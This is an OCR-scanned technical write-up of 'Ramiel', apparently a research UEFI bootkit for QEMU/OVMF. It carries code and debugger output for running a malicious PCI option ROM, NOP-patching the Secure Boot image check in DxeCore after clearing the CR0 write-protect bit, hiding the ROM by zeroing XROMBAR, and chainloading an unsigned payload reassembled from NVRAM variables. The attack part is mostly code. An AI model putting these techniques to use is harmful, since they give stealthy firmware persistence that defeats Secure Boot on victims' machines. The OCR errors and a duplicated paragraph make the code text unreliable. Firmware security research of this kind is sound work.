Importantly, EFI_VARIABLE _RUNTIME_ACCESS is unset during subsequent boots to prevent the variable from
being dumped from the OS even if its guid is known.

| 1.2 PCI option ROM emulation in QEMU |

Option ROM emulation in QEMU is as simple as passing a romfile= param to a emulated NIC device like so [1]:
-device e1000e,romfile=chainloader.efirom
For bare metal, it is usually possible to flash PCI option rom via OEM firmware update utilities like Intel Ethernet

Flash Firmware Utility [9]. Ramiel currently does not implement utilizing such utilities to infect virtual machines that
are passed healthy romfiles as it is impossible. Ramiel requires an infected romfile to be passed to gemu.



Ramiel currently does not implement utilizing such utilities to infect virtual machines that are passed healthy
romfiles. Ramiel requires an infected romfile to be passed to QEMU.

2.0 Subsequent Boots

| 2.1 OVMF policy misconfiguration |

Option ROM verification behavior is controlled by a PCD value PcdOptionRomimageVerificationPolicy in the edk2
SecurityPkg package. the possible values for the PCD are:

## Pcd for OptionRom.

# Image verification policy settings:
ALWAYS_EXECUTE 0x00000000
NEVER_EXECUTE 0x00000001
ALLOW_EXECUTE_ON_SECURITY_VIOLATION 0x00000002

DEFER_EXECUTE_ON_SECURITY_VIOLATION 0x00000003
DENY_EXECUTE_ON_SECURITY_VIOLATION 0x00000004
# QUERY_USER_ON_SECURITY_VIOLATION 0x00000005
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x@@ |UINT32 |-
0x00000001

Microsoft recommends platforms to set this value to DENY_EXECUTE_ON_SECURITY_VIOLATION (0x04) [8],
however, on the latest version of edk2 the PCD is set to always execute for many OVMF platforms:

ovmfPkg/0vmfPkgIa32X64.dsc:653:

gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00

OvmfPkg/AmdSev/AmdSevX64.dsc:525:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x@00

OvmfPkg/IntelTdx/IntelTdxX64.dsc:512:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x00

OvmfPkg/XenPlatformPei/XenPlatformPei.inf:90:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy

OvmfPkg/Microvm/MicrovmX64.dsc:620:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x00
OvmfPkg/OvmfPkgIa32.dsc:641:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x00
0vmfPkg/Bhyve/BhyveX64.dsc:562:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x@00
OvmfPkg/CloudHv/CloudHvX64.dsc:622:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x00
OvmfPkg/OvmfXen.dsc:508:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy|0x@0
0vmfPkg/0vmfPkgX64.dsc:674:
gEfiSecurityPkgTokenSpaceGuid.PcdOptionRomImageVerificationPolicy |@x00

Ramiel leverages this to tamper with secure boot on QEMU.

| 2.2 PCI Driver Structure




During the dxe phase of EFI, the driver dispatcher will discover and dispatch all drivers it encounters, including driv-
ers stored in PCI option rom.

From edk2 docs:: “Drivers that follow the UEFI driver model are not allowed to touch any hardware in their driver en-
try point. In fact, these types of drivers do very little in their driver entry point. They are required to register protocol
interfaces in the Handle Database and may also choose to register HIl packages in the HIl Database...” [13]

Register driver binding protocol in DriverEntry:

EFI_DRIVER_BINDING_PROTOCOL gTestDriverBinding = {
DriverSupported, DriverStart, DriverStop,
@x01, NULL, NULL};

EFI_STATUS EFIAPI DriverEntry(IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLEx SystemTable)

gST = SystemTable;

gBS = SystemTable—>BootServices;
gRT = SystemTable—->RuntimeServices;
gImageHandle = ImageHandle;

EFI_STATUS status;
status = EfiLibInstallDriverBindingComponentName2 (
ImageHandle,
SystemTable,
&gTestDriverBinding,
ImageHandle,
NULL, NULL);
return status;

From edk2 docs: “A PCI driver must implement the EFI_DRIVER_BINDING_PROTOCOL containing the Support-
ed(), Start(), and Stop() services. The Supported() service evaluates the ControllerHandle passed in to see if the
ControllerHandle represents a PCl device the PCI driver can manage.” [14]

Driver supported: (see next page)



BOOLEAN Checkel@@@eNIC(EFI_HANDLE Controller,
EFI_DRIVER_BINDING_PROTOCOL *#This) {
EFI_STATUS status = EFI_SUCCESS;
EFI_PCI_IO_PROTOCOL *Pcilo;

PCI_TYPE@® Pci;

status = gBS—>OpenProtocol(Controller, &gEfiPciloProtocolGuid,
VOID *x) &Pcilo, (*This)->DriverBindingHandle,
Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);

if (EFI_ERROR(status) || Pcilo == NULL) {

return FALSE;
¥
status = Pcilo->Pci.Read(Pcilo,

EfiPciloWidthUint32,
e,

sizeof Pci / sizeof(UINT32),
&Pci

gBS->CloseProtocol(Controller, &gEfiPciIoProtocolGuid,
*This)—>DriverBindingHandle, Controller);

status == EFI_SUCCESS) {

Originally, Ramiel utilized a manual mapper similar to shim to chainload the malicious driver without triggering a
secure boot violation. However, it is far simpler to bypass secureboot status by patching a check in DxeCore.efi.

When Loadlmage is called on an unsigned image, the debug log in QEMU will show this message:

[Security] 3rd party image[@] can be loaded after EndOfDxe: MemoryMapped(0x0, ...
DxeImageVerificationLib: Image is not signed and SHA256 hash of image is not found
in DB/DBX.

The image doesn't pass verification: MemoryMapped(0x0,@x7D632000,0x7D6340C0)

The message is printed by DxelmageVerificationHandler in SecurityPkg/Library/DxelmageVerificationLib/Dxelma-
geVerificationLib.c:

1658> EFI_STATUS
EFIAPI
DxeImageVerificationHandler (

DEBUG( (DEBUG_INFO, "DxeImageVerificationLib: \
Image is not signed and %s hash of image is not found in DB/DBX.\n",
mHashTypeStr));

Setting a breakpoint at DxelmageVerificationHandler entry and backtracing shows:




Thread 1 hit Breakpoint 1, DxeImageVerificationHandler ...

(gdb) bt

#0 DxeImageVerificationHandler ...

#1 0x000000007e2af95b in ExecuteSecurity2Handlers ...

#2 ExecuteSecurity2Handlers ...

#3 0x000000007e27b22d in Security2StubAuthenticate ...

#4 0x000000007ef94dee in CoreLoadImageCommon.constprop.® ...
at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1273

#5 0x000000007ef7b88e in CoreLoadImage ...
at ... edk2/MdeModulePkg/Core/Dxe/Image/Image.c: 1542

Ramiel patches this check in CoreLoadlmageCommon with nops.

MdeModulePkg/Core/Dxe/Image/Image.c:

CoreLoadImageCommon

1269> if (gSecurity2 != NULL)
SecurityStatus = gSecurity2->FileAuthentication
gSecurity2,
OriginalFilePath,
FHand.Source,
FHand.SourceSize,
BootPolicy

1310> if (EFI_ERROR (SecurityStatus) && (SecurityStatus != EFI_SECURITY_VIOLATION)
if (SecurityStatus == EFI_ACCESS_DENIED) {
*ImageHandle = NULL;
}
Status = SecurityStatus;
Image = NULL;
goto Done;

It is possible to find the address corresponding to a line of code via setting hardware breakpoints. Setting hardware
breakpoints at lines 1269 and 1322 shows the start and end addresses of the code which Ramiel must patch. As
there is no ASLR, these addresses do not change unless DxeCore.efi is recompiled.

hw breakpoint keep y  <MULTIPLE>
y ©0x000000007ef94dbd in CoreLoadImageCommon.constprop.@ at
... edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1269 inf 1

hw breakpoint keep y <MULTIPLE>
y 0x000000007ef94eab in CorelLoadImageCommon.constprop.@ at
.« edk2/MdeModulePkg/Core/Dxe/Image/Image.c:1327 inf 1

Disassembly of check in CoreLoadlmageCommon.constprop.0 before patch_sb:




0x000000007ef94dbd <+2721>: 05 84 d2 00 00 0xd284(%rip) ,%rax
0x000000007ef94dcd <+2728>: co %srax,%rax
0x000000007ef94dc7 <+2731>: j 0x7ef94e36

0x000000007ef94e9f <+2947>: 00 00 00 00 00 $0x0, (%rax)
0x000000007ef94eab <+2954>: 03 00 00 0x7ef9523b
0x000000007ef94eab <+2959>: ec 20 $0x20,%rsp

Any write protection implemented via pagetables is bypassed trivially with the crO WP bit trick:

void clear_cr@_wp() {
AsmWriteCr@(AsmReadCr@ & ~(1UL << 16));
}

void set_cre_wp() {
AsmWriteCr@(AsmReadCro@ | (1UL << 16));
}

It is possible to pattern scan memory for the check after finding the base address of DxeCore.efi via enumerat-
ing ImageHandles in the handle database. Ramiel simply hardcodes the start and end address of where it should
patch:

#define PATCH_START 0x@00000007ef94dbdu
#define PATCH_END 0x000000007ef94eabu

void patch_sbh() {
clear_cr@_wp();
SetMem( (VOID *) PATCH_START, PATCH END - PATCH_START, 0x90);
set_cr@_wp();

Disassembly of check in CoreLoadlmageCommon.constprop.0 after patch_sb:

0x000000007ef94dbd <+2721>: nop
0x000000007ef94dbe <+2722>: nop
0x000000007ef94dbf <+2723>: nop

0x000000007ef94ea9 <+2957>: nop
0x000000007ef94eaa <+2958>: nop
Ox000000007ef94eab <+2959>: sub $0x20,%rsp

Ramiel calls Loadlmage successfully on an unsigned image:
QEMU debug log:

Loading driver at 0x0007D62F00@ EntryPoint=0x0007D63045A helloworld_driver.efi
InstallProtocolInterface: BC62157E-3E33-4FEC-9920-2D3B36D750DF 7D635798

ProtectUefiImageCommon — @x7D635940
- 0x000000007D62F000 — 0x00P0AAVVAAV020CH




| 2.4 Hide Option ROM

x86sec [1] demonstrated that PCI option ROMs can be trivially dumped:

$ lspci -vv
00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
Subsystem: Intel Corporation 82574L Gigabit Network Connection

Region @: Memory at c086000@0 (32-bit, non-prefetchable) [size=128K]
Region 1: Memory at c@840000 (32-bit, non-prefetchable) [size=128K]
Region 2: I/0 ports at 6060 [size=32]

Region 3: Memory at c@880000 (32-bit, non-prefetchable) [size=16K]
Expansion ROM at 80050000 [disabled] [size=32K]

Capabilities: <access denied>

Kernel driver in use: el@00e

Kernel modules: el@0@e

$ cd /sys/devices/pci@000:00/0000:00:04.0

$ echo 1 | sudo tee rom

$ sudo dd if=rom of=/tmp/oprom.bin

$ file /tmp/oprom.bin

/tmp/oprom.bin: BIOS (ia32) ROM Ext. (56%512)

However, “There is a kernel boot parameter, pci=norom, that is intended to disable the kernel’s resource assignment
actions for Expansion ROMs that do not already have BIOS assigned address ranges...” which “...only works if the
Expansion ROM BAR is set to ‘0’ by the BIOS before hand-off.” [10]

In order to prevent option ROM from being dumped, Ramiel clears XROMBAR in the PCIl configuration header of
the NIC and passes pci=norom to the kernel. In DriverStart, Ramiel opens the EFI_PCI_I0_PROTOCOL associated
with the NIC controller and passes it to clear_oprom_bar:

EFI_PCI_IO_PROTOCOL *Pcilo;
status = gBS—>0OpenProtocol(Controller, &gEfiPciloProtocolGuid,
(VOID *«) &Pcilo, This—>DriverBindingHandle,
Controller, EFI_OPEN_PROTOCOL_BY_DRIVER);
if (EFI_ERROR(status) || Pcilo == NULL) {
return status;

}

status = clear_oprom_bar(Pcilo);

In clear_oprom_bar, Ramiel writes all zeros to the XROMBAR register (offset 0x30 within the PCI configuration
headers) of the controller:



UINT32 allones = 0x00000000;
status = Pcilo—>Pci.Write(Pcilo,
EfiPciloWidthUint32,
0x30,

1l
&allones

After, Ispci no longer displays the expansion ROM field and the ROM cannot be dumped without memory scanning:

00:04.0 Ethernet controller: Intel Corporation 82574L Gigabit Network Connection
Subsystem: Intel Corporation 82574L Gigabit Network Connection

Region @: Memory at c@860000 (32-bit, non-prefetchable) [size=128K]
Region 1: Memory at c0840000 (32-bit, non-prefetchable) [size=128K]

Region 2: I/0 ports at 6060 [size=32]

Region 3: Memory at c@880000 (32-bit, non-prefetchable) [size=16K]
Capabilities: <access denied>

Kernel driver in use: el@@@e

Kernel modules: el@@0e

| 2.5 Reassemble Chunks + chainload |

To reassemble the malicious driver image, Ramiel first calls GetVariable on the “guids” variable, then calls GetVari-
able on every guid stored in it and copies the chunks to a buffer:

+TODO: remove runtime access flag from vars.



#define GUIDS_VAR_NAME L"guids"
#define GUIDS_VAR_GUID {@xBFB35F7E, @xFC44, @0x41AE, \
{@x7C, @xD9, @x68, OxA8, 0x01, @0x082, @xB9, OxDO}}

UINTN parse_guids(CHAR1E sxvar_names_ptr, UINT8 xbuf, UINTN bufsize) {
UINTN nguids = (bufsize / sizeof(CHAR16)) / GUID_LEN;
CHAR16 #*kguids = AllocateZeroPool(nguids * sizeof(CHAR16 *));
xvar_names_ptr = guids;

for (UINTN i = @; i < nguids; i++) {
CHAR16 *tmp = AllocateZeroPool((GUID_LEN * sizeof(CHAR16)) + sizeof(CHAR16));
guids [i] = tmp;
CopyMem(tmp,
buf + (i * GUID_LEN * si f(CHAR16)), GUID_LEN * sizeof(CHAR16))

return nguids;

EFI_STATUS

EFIAPI

nvram_chainload() {
EFI_STATUS status;

UINT8 *buf;
UINTN bufsize;
EFI_GUID guids_var_guid = GUIDS_VAR_GUID;
gRT—>GetVariable(
GUIDS_VAR_NAME,
&guids_var_guid,
NULL,
&bufsize,
NULL);

buf = AllocateZeroPool(bufsize);

gRT->GetVariable(
GUIDS_VAR_NAME,
&guids_var_guid,
NULL,
&bufsize,
buf) ;

CHAR16 *kvar_names;
UINTN nguids = parse_guids{&var_names, buf, bufsize);

EFI_GUID *guids = AllocateZeroPool(nguids % sizeof(EFI_GUID));




for (int i = @; i < nguids; i++) {
StrToGuid(var_names[i], &guids[i]);

UINT64 size = ©;
UINT64 *sizes = AllocateZeroPool(nguids * sizeof(UINT64));
for (int i = @; i < nguids; i++) {
gRT->GetVariable

var_names [i],

&(guids[i]),

NULL,

&(sizes[il),

NULL

i

size += sizes[i];

UINT8 #application_ptr = AllocatePages (EFI_SIZE_TO_PAGES(size

UINT64 offset = 0;
for (int i = @; i < nguids; i++) {
gRT->GetVariable
var_names [i],
&(guids[il),
NULL,
&(sizes[il),
application_ptr + offset);
offset += sizes[il;

MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
mempath.Nodel.StartingAddress = (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;
mempath.Nodel.EndingAddress = \

(EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;

EFI_HANDLE NewImageHandle;
status = gBS->LoadImage(
o,
gImageHandle,
EFI_DEVICE_PATH_PROTOCOL *) &mempath,
application_ptr,
size,
&NewImageHandle) ;
if (EFI_ERROR(status)) {
return status;

status = gBS->StartImage(NewImageHandle, NULL,
if (EFI_ERROR(status)) {
return status;

I

return status;

Then it calls Loadlmage on a memory device path pointing to the buffer [12]:




typedef struct {
MEMMAP_DEVICE_PATH Node1l;
EFI_DEVICE_PATH_PROTOCOL End;

} MEMORY_DEVICE_PATH;

STATIC CONST MEMORY_DEVICE_PATH MemoryDevicePathTemplate =
{

HARDWARE_DEVICE_PATH,
HW_MEMMAP_DP,
{
(UINT8) (sizeof (MEMMAP_DEVICE_PATH)),
(UINT8) ( (sizeof (MEMMAP_DEVICE_PATH)) >> 8),
I

END_DEVICE_PATH_TYPE,
END_ENTIRE_DEVICE_PATH_SUBTYPE,
sizeof (EFI_DEVICE_PATH_PROTOCOL), @

i

MEMORY_DEVICE_PATH mempath = MemoryDevicePathTemplate;
mempath.Nodel.StartingAddress (EFI_PHYSICAL_ADDRESS) (UINTN) application_ptr;

mempath.Nodel.EndingAddress = (EFI_PHYSICAL_ADDRESS) ((UINTN) application_ptr) + size;

EFI_HANDLE NewImageHandle;

status = gBS->LoadImage(
a,
gImageHandle,
(EFI_DEVICE_PATH_PROTOCOL *) &mempath,
application_ptr,
size,
&NewImageHandle);




com1 log:

[ramiel]:
[ramiell:
[ramiell:
[ramiel]:
[ramiel]:
[ramiell:
[ramiell:

[ramiell:
[ramiel]:
[ramiel]:
[ramiell:
helloworld !! : D

[ramiell:

nic found @ DevicePath: PciRoot(0x0)/Pci(0x4,0x0)
print_var_info - max_var_storage —> 262044 B
print_var_info - remaining_var_storage —> 224808 B
print_var_info - max_var_size -> 33732 B
DriverStart - vendor id, device id —> 8086, 10D3
DriverStart - xrombar —> @

DriverStart - command register — 7

patch_sb — patching secureboot check from — 7EF94DBD to 7EF94EAB...

patch_sb - completed
nvram_chainload - guid 02015480-B875-42CC-B73C-7CD6D7A140D5
nvram_chainload - LoadImage of target completed

nvram_chainload - StartImage completed

2.6 Source Debugging OVMF with gdb

1. Follow the Debian wiki instructions to setup a VM with secure boot [15]

2. Compile OVMF with -D SECURE_BOOT_ENABLE

3. Copy OVMF_VARS.fd and OVMF_CODE.fd to the secureboot-vm directory

4. Run:
$ ./start-vm.sh

5. Exit the VM, then run:
$ ./gen_symbol_offsets.sh > gdbscript
$ ./start-vm.sh -s -S

$ gdb

(gdb) source gdbscript
(gdb) target remote localhost: 1234

start-vm.sh [15]



#!/bin/bash
set —Eeuxo pipefail

LOG="debug. log"

MACHINE_NAME="disk"

QEMU_IMG="${MACHINE_NAME}.img"

SSH_PORT="5555"
OVMF_CODE_SECURE="ovmf/0VMF_CODE_SECURE. fd"
OVMF_VARS_ORIG="/usr/share/0VMF/OVMF_VARS_4M.ms. fd"
OVMF_VARS_SECURE="ovmf/0VMF_VARS_4M_SECURE.ms. fd"

if [ ! -e "${QEMU_IMG}" 1; then
gemu-img create —-f qcow2 "${QEMU_IMG}" 8G
fi

if [ ! -e "${OVMF_VARS}" ]; then
cp "${OVMF_VARS_ORIG}" "${OVMF_VARS}"
fi

gemu-system-x86_64 \
—enable-kvm \
—cpu host —-smp cores=4,threads=1 -m 2048 \
—-object rng-random, filename=/dev/urandom,id=rng@® \
—device virtio-rng-pci, rng=rng@ \
-net nic,model=virtio -net user,hostfwd=tcp::${SSH_PORT}-:22 \
-name "${MACHINE_NAME}" \
-drive file="${QEMU_IMG}", format=qcow2 \
-vga virtio \
-machine g35,smm=on \
—global driver=cfi.pflash@l,property=secure,value=on \
—drive format=raw,file=fat:rw:fsl \
—-drive if=pflash, format=raw,unit=0, file="${0VMF_CODE_SECURE}", readonly=on \
-drive if=pflash, format=raw,unit=1, file="${0VMF_VARS_SECURE}" \
—debugcon file:"${LOG}" -global isa—debugcon.iobase=0x402 \
—global ICH9-LPC.disable_s3=1 \
—serial file:coml.log \
—device el0@0e, romfile=chainloader.efirom \
$@

gen_symbol_offsets.sh, adapted from [5]

#!/bin/bash

LOG="../debug. log"
PEINFO="peinfo/peinfo"

cat ${LOG} | grep Loading | grep -i efi | while read LINE; do
BASE=""echo ${LINE} | cut -d " " -f4*"
NAME=""echo ${LINE} | cut -d " " -f6 | tr —d "[:cntrl:]"""
EFIFILE=""find <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${NAME} \
-maxdepth 1 -type "
if [ -z "$EFIFILE" ]
then

else
ADDR=""${PEINFO} ${EFIFILE} \
| grep -A 5 text | grep VirtualAddress | cut -d " " -f2*"
TEXT=""python —c "print(hex(${BASE} + ${ADDR}))"*"
SYMS=""echo ${NAME} | sed -e "s/\.efi/\.debug/g"""
SYMFILE=""find <path to edk2>/Build/MdeModule/DEBUG_GCC5/X64 -name ${SYMS} \
-maxdepth 1 -type f*"
echo "add-symbol-file ${SYMFILE} ${TEXT}"
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